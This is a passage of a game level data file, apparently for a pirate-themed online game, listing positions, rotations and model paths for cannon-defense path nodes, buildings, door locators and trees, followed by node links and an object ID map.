{'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1953.557, -931.463, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.97Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Spawn', 'Pos': Point3(566.647, -936.097, 4.392), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.98Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(922.176, -715.163, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059807.03Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1238.571, -313.365, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059807.05Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1138.16, -359.39, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059807.08Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Wait-Point', 'Pos': Point3(949.989, -576.406, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059807.0Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1707.559, -2.965, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1267124099.15laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267124099.15laura0', 'Holiday': '', 'Hpr': VBase3(-42.274, 0.0, 0.0), 'Pos': Point3(1006.173, 130.486, 20.671), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/burned_half_house', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267124126.34laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267124126.34laura0', 'Holiday': '', 'Hpr': VBase3(-78.898, 0.0, 0.0), 'Pos': Point3(990.923, -126.714, 16.765), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/burned_house', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267124194.37laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267124194.37laura0', 'Holiday': '', 'Hpr': VBase3(179.13, -4.355, -0.616), 'Pos': Point3(958.142, -155.399, 16.56), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_leanto_B', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267124369.96laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267124369.96laura0', 'Holiday': '', 'Hpr': VBase3(-111.568, 0.0, 0.0), 'Objects': {'1267124370.01laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1000.904, -69.218, 20.225), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.127, -4.354, 4.971), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(969.295, 15.685, 15.254), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_a_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125774.24laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125774.24laura0', 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Objects': {'1267125774.29laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(951.833, -115.896, 14.987), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.424, -5.194, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267125774.32laura': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'GridPos': Point3(958.07, -89.778, 15.078), 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(6.661, 20.924, 1.096), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(951.408, -110.702, 13.981), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_B', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125783.85laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125783.85laura0', 'Holiday': '', 'Hpr': VBase3(-74.055, 0.0, 0.0), 'Pos': Point3(1002.881, 83.791, 14.646), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_D', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125795.21laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125795.21laura0', 'Holiday': '', 'Hpr': VBase3(16.557, 0.0, 0.0), 'Objects': {'1267125795.26laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(999.748, 22.015, 34.137), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.161, -4.423, 16.535), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(963.344, 148.167, 17.431), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_E', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125812.01laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125812.01laura0', 'Holiday': '', 'Hpr': VBase3(19.676, 4.242, 11.552), 'Objects': {'1267125812.02laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(864.433, 1.32, 27.848), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.162, -4.354, 0.599), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(908.5, 156.219, 30.561), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_G', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125823.01laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125823.01laura0', 'Holiday': '', 'Hpr': VBase3(91.45, -0.0, -5.11), 'Objects': {'1267125823.04laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(792.286, -71.785, 27.608), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-0.179, -3.997, 4.89), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(903.908, 58.459, 26.05), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_H', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125834.51laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125834.51laura0', 'Holiday': '', 'Hpr': VBase3(-125.538, 0.0, 0.0), 'Objects': {'1267125834.66laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1119.163, 2.329, 29.19), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.044, -4.421, 5.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(928.316, -11.044, 15.537), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_I', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125842.22laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125842.22laura0', 'Holiday': '', 'Hpr': VBase3(-113.905, 0.0, 0.0), 'Objects': {'1267125842.26laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1138.313, -76.988, 21.507), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.313, -4.248, 1.444), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(848.784, -37.182, 25.594), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_J', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125907.74laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125907.74laura0', 'Holiday': '', 'Hpr': VBase3(-24.675, 0.0, 7.815), 'Objects': {'1267125907.76laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(884.292, -117.189, 20.598), 'Hpr': VBase3(-179.829, 0.0, 0.0), 'Pos': Point3(-0.498, -4.914, 0.952), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267125907.79laura': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'GridPos': Point3(878.164, -91.328, 20.651), 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-6.626, 20.947, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(911.248, -74.546, 23.068), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_tavern_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125928.15laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125928.15laura0', 'Holiday': '', 'Hpr': VBase3(91.884, 0.0, 0.0), 'Pos': Point3(693.925, -30.188, 27.481), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_attach_halfarchR', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125944.22laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125944.22laura0', 'Holiday': '', 'Hpr': VBase3(-40.956, 0.0, 0.0), 'Objects': {'1267125944.26laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(802.332, 22.629, 29.534), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-16.897, -15.231, 0.12), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267125944.29laura': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'GridPos': Point3(834.986, 29.035, 29.315), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(15.757, -8.824, -0.1), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(842.974, 36.054, 29.414), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_c_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125956.93laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125956.93laura0', 'Holiday': '', 'Hpr': VBase3(-36.236, 0.0, 0.0), 'Objects': {'1267125956.96laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1095.387, 58.645, 27.289), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-3.491, -7.864, -0.03), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(928.24, 285.882, 36.492), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_d_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125964.96laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125964.96laura0', 'Holiday': '', 'Hpr': VBase3(-28.301, 0.0, 0.0), 'Objects': {'1267125964.97laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1198.283, 13.731, 21.873), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-0.152, -8.067, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(1198.435, 21.798, 21.873), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_e_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125973.91laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125973.91laura0', 'Holiday': '', 'Hpr': VBase3(-59.186, 0.0, 0.0), 'Objects': {'1267125973.96laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1250.082, -23.93, 19.007), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(12.344, -2.798, -0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267125973.97laura': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'GridPos': Point3(1229.597, -24.654, 19.007), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-8.141, -3.523, -0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(1237.739, -21.131, 19.007), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_g_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125983.24laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125983.24laura0', 'Holiday': '', 'Hpr': VBase3(45.0, 0.0, 0.0), 'Objects': {'1267125983.29laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(954.919, 79.937, 18.981), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-15.63, -2.203, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267125983.32laura': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'GridPos': Point3(971.572, 79.306, 18.981), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(1.022, -2.834, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1267125983.34laura': {'Type': 'Door Locator Node', 'Name': 'door_locator_3', 'GridPos': Point3(986.848, 79.316, 18.981), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(16.298, -2.824, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(712.314, 170.182, 39.074), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_j_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267125991.69laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267125991.69laura0', 'Holiday': '', 'Hpr': VBase3(-1.783, 0.0, 0.0), 'Objects': {'1267125991.72laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(757.389, -149.264, 18.871), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.816, -10.08, -0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(758.307, -83.075, 18.866), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_k_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267126000.65laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267126000.65laura0', 'Holiday': '', 'Hpr': VBase3(7.813, 0.0, 0.0), 'Objects': {'1267126000.69laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(809.347, 179.521, 39.6), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(-7.141, -11.488, 0.006), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(798.028, 218.096, 45.193), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_o_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267126011.12laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267126011.12laura0', 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Objects': {'1267126011.15laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(755.322, 20.33, 30.285), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(2.885, -7.231, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(751.464, 105.708, 38.064), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_p_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267126018.27laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267126018.27laura0', 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(685.565, -9.505, 26.032), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_q_exterior', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267129208.35laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267129208.35laura0', 'Holiday': '', 'Hpr': VBase3(-111.25, 0.0, 0.0), 'Objects': {'1267129208.38laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1209.137, -90.244, 19.318), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.313, -4.248, 1.444), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(1283.836, -118.467, 17.874), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_J', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267129290.13laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267129290.13laura0', 'Holiday': '', 'Hpr': VBase3(142.559, 0.0, 0.0), 'Objects': {'1267129290.16laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1154.416, -110.428, 20.805), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(2.885, -7.231, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(1151.531, -103.197, 20.805), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/spanish_npc_house_p_exterior', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267129410.41laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(938.599, 179.954, 24.174), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_h'}}, '1267129551.96laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(1002.096, -27.995, 16.206), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_g'}}, '1267129573.43laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(651.805, 61.72, 42.129), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_f'}}, '1267129645.8laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(678.453, -172.106, 25.7), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_e'}}, '1267129724.47laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(840.76, 196.147, 39.506), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_c'}}, '1267129754.82laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-52.613, -1.253, -1.639), 'Pos': Point3(771.982, 125.562, 35.098), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_b'}}, '1267129847.24laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(1199.484, -201.189, 16.269), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_e'}}, '1267129971.24laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(1229.647, 76.902, 16.281), 'Scale': VBase3(0.6, 0.6, 0.6), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_e'}}, '1267130013.74laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(1265.974, -47.789, 21.198), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_trunk_only'}}, '1267130071.76laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267130071.76laura0', 'Holiday': '', 'Hpr': VBase3(139.72, 0.0, 0.0), 'Objects': {'1267130071.77laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1090.268, -107.511, 20.156), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.313, -4.248, 1.444), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(1089.955, -103.263, 18.711), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_J', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}, '1267130117.49laura': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(1052.495, -164.589, 15.298), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_a'}}, '1267130149.41laura': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1267130149.41laura0', 'Holiday': '', 'Hpr': VBase3(15.255, 0.0, 0.0), 'Objects': {'1267130149.44laura': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'GridPos': Point3(1121.57, -3.231, 25.334), 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.313, -4.248, 1.444), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(1164.621, 12.84, 23.89), 'Scale': VBase3(0.8, 0.8, 0.8), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_J', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_barber'}}}, 'Undockable': False, 'VisSize': '', 'Visibility': 'Grid', 'Visual': {'Model': 'models/islands/pir_m_are_isl_cannon'}}}, 'Node Links': [['1265059806.53Bill', '1265059806.44Bill', 'Direction 2'], ['1265059806.44Bill', '1265059806.69Bill', 'Direction 2'], ['1265059806.86Bill', '1265059806.64Bill', 'Direction 2'], ['1265059806.91Bill', '1265059806.81Bill', 'Direction 2'], ['1265059806.28Bill', '1265059806.86Bill', 'Direction 2'], ['1265059806.69Bill', '1265059806.28Bill', 'Direction 2'], ['1265059806.64Bill', '1265059806.91Bill', 'Direction 2'], ['1265059806.81Bill', '1265059806.03Bill', 'Direction 2'], ['1265059806.03Bill', '1265059806.06Bill', 'Direction 2'], ['1265059806.06Bill', '1265059806.13Bill', 'Direction 2'], ['1265059806.13Bill', '1265059806.05Bill', 'Direction 2'], ['1265059806.05Bill', '1265059806.11Bill', 'Direction 2'], ['1265059806.11Bill', '1265059806.2Bill', 'Direction 2'], ['1265059806.2Bill', '1265059806.41Bill', 'Direction 2'], ['1265059806.41Bill', '1265059806.31Bill', 'Direction 2'], ['1265059806.31Bill', '1265059806.59Bill', 'Direction 2'], ['1265059806.59Bill', '1265059806.47Bill', 'Direction 2'], ['1265059806.36Bill', '1265059806.83Bill', 'Direction 2'], ['1265059806.83Bill', '1265059806.98Bill', 'Direction 2'], ['1265059806.98Bill', '1265059807.08Bill', 'Direction 2'], ['1265059807.08Bill', '1265059806.89Bill', 'Direction 2'], ['1265059806.89Bill', '1265059806.58Bill', 'Direction 2'], ['1265059806.58Bill', '1265059806.66Bill', 'Direction 2'], ['1265059806.66Bill', '1265059806.56Bill', 'Direction 2'], ['1265059806.56Bill', '1265059806.16Bill', 'Direction 2'], ['1265059806.16Bill', '1265059806.25Bill', 'Direction 2'], ['1265059806.25Bill', '1265059806.92Bill', 'Direction 2'], ['1265059806.92Bill', '1265059806.19Bill', 'Direction 2'], ['1265059806.14Bill', '1265059806.38Bill', 'Direction 2'], ['1265059806.38Bill', '1265059806.08Bill', 'Direction 2'], ['1265059806.08Bill', '1265059806.52Bill', 'Direction 2'], ['1265059806.52Bill', '1265059807.05Bill', 'Direction 2'], ['1265059807.05Bill', '1265059806.33Bill', 'Direction 2'], ['1265059806.33Bill', '1265059807.03Bill', 'Direction 2'], ['1265059807.03Bill', '1265059806.39Bill', 'Direction 2'], ['1265059806.39Bill', '1265059806.3Bill', 'Direction 2'], ['1265059806.3Bill', '1265059806.8Bill', 'Direction 2'], ['1265059806.97Bill', '1265059806.48Bill', 'Direction 2'], ['1265059806.53Bill', '1265059806.48Bill', 'Direction 1'], ['1265059806.47Bill', '1265059806.23Bill', 'Direction 2'], ['1265059806.8Bill', '1265059807.0Bill', 'Direction 2'], ['1265059806.23Bill', '1265059806.94Bill', 'Direction 2'], ['1265059806.19Bill', '1265059806.61Bill', 'Direction 2']], 'Layers': {}, 'ObjectIds': {'1259029424.87akelts': '["Objects"]["1259029424.87akelts"]', '1259029471.83akelts': '["Objects"]["1259029424.87akelts"]["Objects"]["1259029471.83akelts"]', '1259029471.86akelts': '["Objects"]["1259029424.87akelts"]["Objects"]["1259029471.86akelts"]', '1259029471.87akelts': '["Objects"]["1259029424.87akelts"]["Objects"]["1259029471.87akelts"]', '1259029477.59akelts': '["Objects"]["1259029424.87akelts"]["Objects"]["1259029477.59akelts"]', '1259029477.62akelts': '["Objects"]["1259029424.87akelts"]["Objects"]["1259029477.62akelts"]', '1259029477.64akelts': '["Objects"]["1259029424.87akelts"]["Objects"]["1259029477.64akelts"]', '1264434287.73Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434287.73Bill"]', '1264434287.78Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434287.78Bill"]', '1264434288.72Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434288.72Bill"]', '1264434288.7Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434288.7Bill"]', '1264434289.33Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434289.33Bill"]', '1264434289.36Bill': '["Objects"]["1259029424.87akelts"]["Objects"]["1264434289.33Bill"]["Objects"]["1264434289.36Bill"]', '1264434289.56Bill': 